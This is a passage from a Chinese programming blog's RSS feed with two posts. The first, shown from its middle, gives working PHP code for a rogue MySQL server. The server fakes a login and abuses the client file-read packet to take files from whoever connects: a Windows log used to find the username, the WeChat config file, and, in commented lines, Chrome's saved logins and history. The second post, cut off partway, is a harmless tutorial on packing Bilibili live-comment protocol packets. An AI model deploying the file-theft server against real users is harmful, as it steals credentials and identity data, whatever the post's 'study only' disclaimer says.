</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">socket_write</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="nx">MYSQL_INFO_MESSAGE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 读取账号密码
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">socket_read</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="nx">BUF_MAX_SIZE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 发送认证成功报文
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">socket_write</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="nx">MYSQL_AUTH_SUCCESS</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 读取设置编码的报文
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">socket_read</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="nx">BUF_MAX_SIZE</span><span class="p">);</span>
</span></span></code></pre></div><h2 id="封装需要用到函数">封装需要用到函数</h2>
<p>服务端需要根据客户端的 IP 为客户端建立一个目录，用于保存从客户端读取到的文件。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">get_log_path</span><span class="p">(</span><span class="nv">$conn</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="cm">/* 从连接中获取 ip 地址 */</span>
</span></span><span class="line"><span class="cl">    <span class="nx">socket_getsockname</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="nv">$remote_ip</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nv">$log_path</span> <span class="o">=</span> <span class="no">__DIR__</span><span class="o">.</span><span class="s1">&#39;/log/&#39;</span><span class="o">.</span><span class="nv">$remote_ip</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">is_dir</span><span class="p">(</span><span class="nv">$log_path</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">mkdir</span><span class="p">(</span><span class="nv">$log_path</span><span class="p">,</span> <span class="mo">0777</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$log_path</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>封装一个函数用来发送读取文件的报文并获取客户端返回的文件内容。</p>
<p>报文格式：<code>文件名的长度转换为字符</code> + <code>\x00\x00\x01\xFB</code> + <code>文件名</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">read_file</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="nv">$filename</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 构造读取文件的报文
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$packet</span> <span class="o">=</span> <span class="nx">chr</span><span class="p">(</span><span class="nx">strlen</span><span class="p">(</span><span class="nv">$filename</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="s2">&#34;</span><span class="se">\x00\x00\x01\xFB</span><span class="s2">&#34;</span><span class="o">.</span><span class="nv">$filename</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 发送读取文件的报文
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$result</span> <span class="o">=</span> <span class="nx">socket_write</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="nv">$packet</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nv">$result</span> <span class="o">===</span> <span class="k">false</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 读取客户端发过来的文件内容
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">return</span> <span class="nx">socket_read</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="nx">BUF_MAX_SIZE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h2 id="读取-pfrolog-文件">读取 PFRO.log 文件</h2>
<p>在收到设置编码的报文之后，先读取客户端电脑上的 <code>C:/Windows/PFRO.log</code> 文件，然后将读取到的文件内容保存到指定的目录中。</p>
<p>为什么要读取这个文件？</p>
<p>因为在获取用户微信 ID 等信息之前，需要知道客户端电脑使用的用户名，而在大多数 Windows 电脑上都有 C:/Windows/PFRO.log`  这个文件。</p>
<p>所以大概率能从这个文件中找到用户名（注意并不是 100% 能找到）。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">// 不存在 PFRO.log 说明是第一次连接，需要先获取该文件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">file_exists</span><span class="p">(</span><span class="s2">&#34;</span><span class="si">{</span><span class="nv">$log_path</span><span class="si">}</span><span class="s2">/PFRO.log&#34;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 读取文件内容
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$content</span> <span class="o">=</span> <span class="nx">read_file</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="s1">&#39;C:/Windows/PFRO.log&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nv">$content</span> <span class="o">===</span> <span class="k">false</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">printf</span><span class="p">(</span><span class="s2">&#34;read PFRO.log failed, %s</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="nx">socket_last_error</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">        <span class="nx">socket_close</span><span class="p">(</span><span class="nv">$conn</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nx">printf</span><span class="p">(</span><span class="s2">&#34;read PFRO.log success...</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 断开连接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">socket_close</span><span class="p">(</span><span class="nv">$conn</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 保存文件内容
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">file_put_contents</span><span class="p">(</span><span class="s2">&#34;</span><span class="si">{</span><span class="nv">$log_path</span><span class="si">}</span><span class="s2">/PFRO.log&#34;</span><span class="p">,</span> <span class="nv">$content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>为什么读取到 PFRO.log 文件之后就断开连接？</p>
<p>运行到这一段代码的时候， 客户端与服务端已经认证完成了，就算服务端不断开连接，客户端也会断开。</p>
<p>客户端第一次连接时保存了 <code>PFRO.log</code> 文件，第二次连接时就可以通过这个文件得到电脑用户名，从而可以去获取保存微信 ID 的文件了。</p>
<h2 id="读取指定的文件内容">读取指定的文件内容</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">// 读取文件内容并替换特殊字符
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$content</span> <span class="o">=</span> <span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;</span><span class="si">{</span><span class="nv">$log_path</span><span class="si">}</span><span class="s2">/PFRO.log&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$content</span> <span class="o">=</span> <span class="nx">str_replace</span><span class="p">([</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s2">&#34;</span><span class="se">\r</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s2">&#34;</span><span class="se">\t</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s2">&#34;</span><span class="se">\00</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s1">&#39; &#39;</span><span class="p">,],</span> <span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="nv">$content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$content</span> <span class="o">=</span> <span class="nx">str_replace</span><span class="p">(</span><span class="s1">&#39;\\&#39;</span><span class="p">,</span> <span class="s1">&#39;/&#39;</span><span class="p">,</span> <span class="nv">$content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 解析出用户名
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">preg_match</span><span class="p">(</span><span class="s2">&#34;#Users/(.*)/#&#34;</span><span class="p">,</span> <span class="nv">$content</span><span class="p">,</span> <span class="nv">$data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$username</span> <span class="o">=</span> <span class="nx">explode</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">,</span> <span class="nv">$data</span><span class="p">[</span><span class="mi">1</span><span class="p">])[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 要获取的文件名
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$filename</span> <span class="o">=</span> <span class="s2">&#34;C:/Users/</span><span class="si">{</span><span class="nv">$username</span><span class="si">}</span><span class="s2">/Documents/WeChat Files/All Users/config/config.data&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="c1">// $filename = &#34;C:/Users/{$username}/AppData/Local/Google/Chrome/User Data/Default/Login Data&#34;;
</span></span></span><span class="line"><span class="cl"><span class="c1">// $filename = &#34;C:/Users/{$username}/AppData/Local/Google/Chrome/User Data/Default/History&#34;;
</span></span></span><span class="line"><span class="cl"><span class="c1">// 保存到本地的文件名
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$save_filename</span> <span class="o">=</span> <span class="nx">str_replace</span><span class="p">([</span><span class="s1">&#39;/&#39;</span><span class="p">,</span> <span class="s1">&#39;:&#39;</span><span class="p">],</span> <span class="p">[</span><span class="s1">&#39;_&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">],</span> <span class="nv">$filename</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 读取该文件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$content</span> <span class="o">=</span> <span class="nx">read_file</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="nv">$filename</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$content</span> <span class="o">===</span> <span class="k">false</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">printf</span><span class="p">(</span><span class="s2">&#34;read %s failed, %s</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="nv">$filename</span><span class="p">,</span> <span class="nx">socket_last_error</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">    <span class="nx">socket_close</span><span class="p">(</span><span class="nv">$conn</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h2 id="解决读取大文件的问题">解决读取大文件的问题</h2>
<p>接下来解决原文中提到的如何读取大文件的问题。</p>
<p>当读取的文件比较大的时候，客户端会分段发送文件内容，所以服务端也要多次读取才能得到完整的文件。</p>
<p>为了避免客户端没有发送数据或数据已经读取完了导致 <code>socket_read</code> 一直处于阻塞状态，需要先将连接设置为非阻塞的。</p>
<p>当没有读取到数据时 <code>socket_read</code> 会立即返回并停止循环。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">// 设置为非阻塞
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">socket_set_nonblock</span><span class="p">(</span><span class="nv">$conn</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">do</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">printf</span><span class="p">(</span><span class="s2">&#34;read %d bytes from %s...</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$content</span><span class="p">),</span> <span class="nv">$filename</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 以追加的方式写入文件内容
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">file_put_contents</span><span class="p">(</span><span class="s2">&#34;</span><span class="si">{</span><span class="nv">$log_path</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="nv">$save_filename</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">,</span> <span class="nv">$content</span><span class="p">,</span> <span class="nx">FILE_APPEND</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 继续读取文件内容，当文件内容为空时说明读完了
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nv">$content</span> <span class="o">=</span> <span class="nx">socket_read</span><span class="p">(</span><span class="nv">$conn</span><span class="p">,</span> <span class="nx">BUF_MAX_SIZE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$content</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 关闭连接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">socket_close</span><span class="p">(</span><span class="nv">$conn</span><span class="p">);</span>
</span></span></code></pre></div><h2 id="总结">总结</h2>
<p>通过本文可以了解到：</p>
<ul>
<li>MySQL 身份认证的过程</li>
<li>使用 PHP 建立 TCP 服务并与客户端交互</li>
<li>使用 Socket 读取大文件</li>
</ul>
<blockquote>
<p>⚠️ 注意！！！本文及源码仅用于学习研究！请勿用于商业或非法目的，否则后果自负。</p></blockquote>
<p>参考链接：</p>
<ul>
<li><a href="https://mp.weixin.qq.com/s/m4I_YDn98K_A2yGAhv67Gg">MySQL蜜罐获取攻击者微信ID</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>使用 Workerman 接入 Bilibili 直播弹幕协议</title>
      <link>https://her-cat.com/posts/2021/04/01/workerman-to-access-bilibili-barrage-protocol/</link>
      <pubDate>Thu, 01 Apr 2021 21:34:20 +0800</pubDate>
      <guid>https://her-cat.com/posts/2021/04/01/workerman-to-access-bilibili-barrage-protocol/</guid>
      <description>弹幕协议由头部和数据组成，头部的长度是固定的 16 字节，数据的长度 = 数据包总长度 - 头部的长度。协议的字节序均为大端模式。高字节在低地址，低</description>
      <content:encoded><![CDATA[<p>逛 B 站的时候，突然想到可以用 PHP 接入直播弹幕，然后在命令行显示弹幕消息。</p>
<p>经过搜索发现了一篇讲解 Bilibili 直播弹幕协议的文章（链接在文末），通过这篇文章了解到了弹幕的协议格式以及大致的流程，开发过程中遇到的一些问题参考了弹幕姬的解决思路。</p>
<p>本文源码的 GitHub 地址：<a href="https://github.com/her-cat/bilibili-barrage">https://github.com/her-cat/bilibili-barrage</a></p>
<h2 id="弹幕协议的介绍">弹幕协议的介绍</h2>
<p>弹幕协议由头部和数据组成，头部的长度是固定的 16 字节，数据的长度 = 数据包总长度 - 头部的长度。</p>
<blockquote>
<p><strong>协议的字节序均为大端模式</strong>。高字节在低地址，低字节在高地址，比如 0x1234，在大端模式下存储是 0x12 0x34，在小端模式下是 0x34 0x12。</p></blockquote>
<h3 id="弹幕协议图示">弹幕协议图示</h3>
<p>下面是弹幕协议的格式。</p>
<p><img decoding="async" loading="lazy" src="/posts/2021/04/01/workerman-to-access-bilibili-barrage-protocol/bilibili-barrage-protocol.svg" style="max-width: 100%; height: auto;"></p>
<p>字段对照表：</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center">字段</th>
          <th style="text-align: center">含义</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">packet_len</td>
          <td style="text-align: center">数据包的总长度</td>
      </tr>
      <tr>
          <td style="text-align: center">header_len</td>
          <td style="text-align: center">头部长度（固定为 16 字节）</td>
      </tr>
      <tr>
          <td style="text-align: center">version</td>
          <td style="text-align: center">协议版本号（默认为 2）</td>
      </tr>
      <tr>
          <td style="text-align: center">opcode</td>
          <td style="text-align: center">操作码，用来标识数据包的类型（详情见下表）</td>
      </tr>
      <tr>
          <td style="text-align: center">magic_number</td>
          <td style="text-align: center">魔术数字（默认为 1）</td>
      </tr>
      <tr>
          <td style="text-align: center">data</td>
          <td style="text-align: center">携带的数据，长度 = packet_len - header_len</td>
      </tr>
  </tbody>
</table>
<h3 id="已知的操作码">已知的操作码：</h3>
<table>
  <thead>
      <tr>
          <th style="text-align: center">操作码</th>
          <th style="text-align: center">常量</th>
          <th style="text-align: center">含义</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">2</td>
          <td style="text-align: center">Opcode::CLIENT_HEARTBEAT</td>
          <td style="text-align: center">客户端发送的心跳包</td>
      </tr>
      <tr>
          <td style="text-align: center">3</td>
          <td style="text-align: center">Opcode::POPULARITY_VALUE</td>
          <td style="text-align: center">人气值，数据是 4 字节整数</td>
      </tr>
      <tr>
          <td style="text-align: center">5</td>
          <td style="text-align: center">Opcode::CMD</td>
          <td style="text-align: center">命令，数据中[&lsquo;cmd&rsquo;]表示具体命令（见下表）</td>
      </tr>
      <tr>
          <td style="text-align: center">7</td>
          <td style="text-align: center">Opcode::AUTHENTICATION</td>
          <td style="text-align: center">认证并加入房间</td>
      </tr>
      <tr>
          <td style="text-align: center">8</td>
          <td style="text-align: center">Opcode::SERVER_HEARTBEAT</td>
          <td style="text-align: center">服务器发送的心跳包</td>
      </tr>
  </tbody>
</table>
<h3 id="已知的命令">已知的命令：</h3>
<table>
  <thead>
      <tr>
          <th style="text-align: center">命令</th>
          <th style="text-align: center">常量</th>
          <th style="text-align: center">含义</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">INTERACT_WORD</td>
          <td style="text-align: center">CMD::INTERACT_WORD</td>
          <td style="text-align: center">进入直播间</td>
      </tr>
      <tr>
          <td style="text-align: center">DANMU_MSG</td>
          <td style="text-align: center">CMD::DANMU_MSG</td>
          <td style="text-align: center">弹幕消息</td>
      </tr>
      <tr>
          <td style="text-align: center">SEND_GIFT</td>
          <td style="text-align: center">CMD::SEND_GIFT</td>
          <td style="text-align: center">送礼物</td>
      </tr>
      <tr>
          <td style="text-align: center">COMBO_SEND</td>
          <td style="text-align: center">CMD::COMBO_SEND</td>
          <td style="text-align: center">连续送礼物</td>
      </tr>
      <tr>
          <td style="text-align: center">NOTICE_MSG</td>
          <td style="text-align: center">CMD::NOTICE_MSG</td>
          <td style="text-align: center">通知消息</td>
      </tr>
      <tr>
          <td style="text-align: center">ONLINE_RANK_V2</td>
          <td style="text-align: center">CMD::ONLINE_RANK_V2</td>
          <td style="text-align: center">在线 PK</td>
      </tr>
  </tbody>
</table>
<blockquote>
<p>常量列是对应的值在代码中的常量名。</p></blockquote>
<h2 id="处理弹幕协议">处理弹幕协议</h2>
<p>跟协议相关的操作都放在了 Packet 类中，将一些固定的值设置成了类的常量。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="o">/**</span>
</span></span><span class="line"><span class="cl"> <span class="o">*</span> <span class="err">头部长度</span>
</span></span><span class="line"><span class="cl"> <span class="o">*/</span>
</span></span><span class="line"><span class="cl"><span class="k">const</span> <span class="n">HEADER_LEN</span> <span class="o">=</span> <span class="mi">16</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">/**</span>
</span></span><span class="line"><span class="cl"> <span class="o">*</span> <span class="err">协议版本</span>
</span></span><span class="line"><span class="cl"> <span class="o">*/</span>
</span></span><span class="line"><span class="cl"><span class="k">const</span> <span class="n">PROTOCOL_VERSION</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">/**</span>
</span></span><span class="line"><span class="cl"> <span class="o">*</span> <span class="err">魔法数字，设置为</span> <span class="mi">1</span> <span class="err">即可</span>
</span></span><span class="line"><span class="cl"> <span class="o">*/</span>
</span></span><span class="line"><span class="cl"><span class="k">const</span> <span class="n">MAGIC_NUMBER</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span></code></pre></div><h3 id="打包协议">打包协议</h3>
<p>先来看看打包弹幕协议的逻辑，先计算出数据包的总长度，然后将头部信息及数据打包成二进制数据。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">public</span> <span class="k">static</span> <span class="n">function</span> <span class="n">pack</span><span class="p">(</span><span class="o">$</span><span class="n">opcode</span><span class="p">,</span> <span class="o">$</span><span class="n">payload</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="o">$</span><span class="n">packetLen</span> <span class="o">=</span> <span class="k">static</span><span class="p">::</span><span class="n">HEADER_LEN</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">empty</span><span class="p">(</span><span class="o">$</span><span class="n">payload</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="o">$</span><span class="n">packetLen</span> <span class="o">+=</span> <span class="n">strlen</span><span class="p">(</span><span class="o">$</span><span class="n">payload</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;NnnNN&#39;</span><span class="p">,</span> <span class="o">$</span><span class="n">packetLen</span><span class="p">,</span> <span class="k">static</span><span class="p">::</span><span class="n">HEADER_LEN</span><span class="p">,</span> <span class="k">static</span><span class="p">::</span><span class="n">PROTOCOL_VERSION</span><span class="p">,</span> <span class="o">$</span><span class="n">opcode</span><span class="p">,</span> <span class="k">static</span><span class="p">::</span><span class="n">MAGIC_NUMBER</span><span class="p">)</span><span class="o">.$</span><span class="n">payload</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="packunpack-函数">pack/unpack 函数</h3>
<p>这里简单讲下 pack/unpack 函数的使用。</p>
<p>pack 就是将<strong>输入参数</strong>打包成<strong>指定格式</strong>的<strong>二进制数据</strong>，上面的 n、N 就是指定的格式，分别表示<strong>无符号短整型(16位，大端字节序)</strong>、<strong>无符号长整型(32位，大端字节序)</strong>。</p>
<p>第一个 N 就是以 无符号长整型(32位，大端字节序) 的格式打包 数据包总长度。
第二个 n 就是以 无符号短整型(16位，大端字节序) 的格式打包 头部长度。
第三个 n 就是以 无符号短整型(16位，大端字节序) 的格式打包 协议版本号。
后面的以此类推&hellip;</p>
<p>上面使用的是 PHP 可变参数的方式进行打包，也可以将每个数据单独打包最后再拼在一起，效果也是一样的。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="k">return</span> <span class="n">sprintf</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;</span><span class="si">%s%s%s%s%s%s</span><span class="s1">&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;N&#39;</span><span class="p">,</span> <span class="o">$</span><span class="n">packetLen</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;n&#39;</span><span class="p">,</span> <span class="k">static</span><span class="p">::</span><span class="n">HEADER_LEN</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;n&#39;</span><span class="p">,</span> <span class="k">static</span><span class="p">::</span><span class="n">PROTOCOL_VERSION</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;N&#39;</span><span class="p">,</span> <span class="o">$</span><span class="n">opcode</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;N&#39;</span><span class="p">,</span> <span class="k">static</span><span class="p">::</span><span class="n">MAGIC_NUMBER</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="o">$</span><span class="n">payload</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span></code></pre></div><p>更多的介绍可以看 <a href="https://www.php.net/manual/zh/function.pack.php">https://www.php.net/manual/zh/function.pack.php</a></p>
<p>unpack 就是 pack 的反向操作，根据指定的格式将<strong>二进制数据</strong>解压到<strong>数组</strong>中。</p>
<p>每条数据以 <code>指定的格式 + key</code> 的方式组成，多条数据用 / 分隔。</p>
<p>举个例子：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="o">$</span><span class="n">data</span> <span class="o">=</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;Nnn&#39;</span><span class="p">,</span> <span class="mi">2021</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">31</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">var_dump</span><span class="p">(</span><span class="o">$</span><span class="n">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">arr</span> <span class="o">=</span> <span class="n">unpack</span><span class="p">(</span><span class="s1">&#39;Nyear/nmonth/nday&#39;</span><span class="p">,</span> <span class="o">$</span><span class="n">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">var_dump</span><span class="p">(</span><span class="o">$</span><span class="n">arr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">//</span> <span class="err">输出：</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">string</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="s2">&#34;</span><span class="se">\000\000</span><span class="s2">�</span><span class="se">\000\000</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">array</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;year&#39;</span> <span class="o">=&gt;</span> <span class="ne">int</span><span class="p">(</span><span class="mi">2021</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;month&#39;</span> <span class="o">=&gt;</span><span class="ne">int</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;day&#39;</span> <span class="o">=&gt;</span> <span class="ne">int</span><span class="p">(</span><span class="mi">31</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>打包的时候是按照 Nnn 的格式打包的，所以解压的时候也是按照 Nnn 的格式来的，只不过需要在每个格式的右边指定以这个格式解压出来的数据对应的 key 是什么。</p>
<p>Nyear 就是以 无符号长整型(32位，大端字节序) 的格式解压，并将 year 作为该数据的 key。
nmonth 就是以 无符号短整型(16位，大端字节序) 的格式解压，并将 month 作为该数据的 key。
&hellip;</p>
<h3 id="解压弹幕协议">解压弹幕协议</h3>
<p>接下来看看解压弹幕协议的逻辑，其实跟上面说的一样，按照打包的顺序然后指定对应的 key 就可以了。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">public</span> <span class="k">static</span> <span class="n">function</span> <span class="n">unpack</span><span class="p">(</span><span class="o">$</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
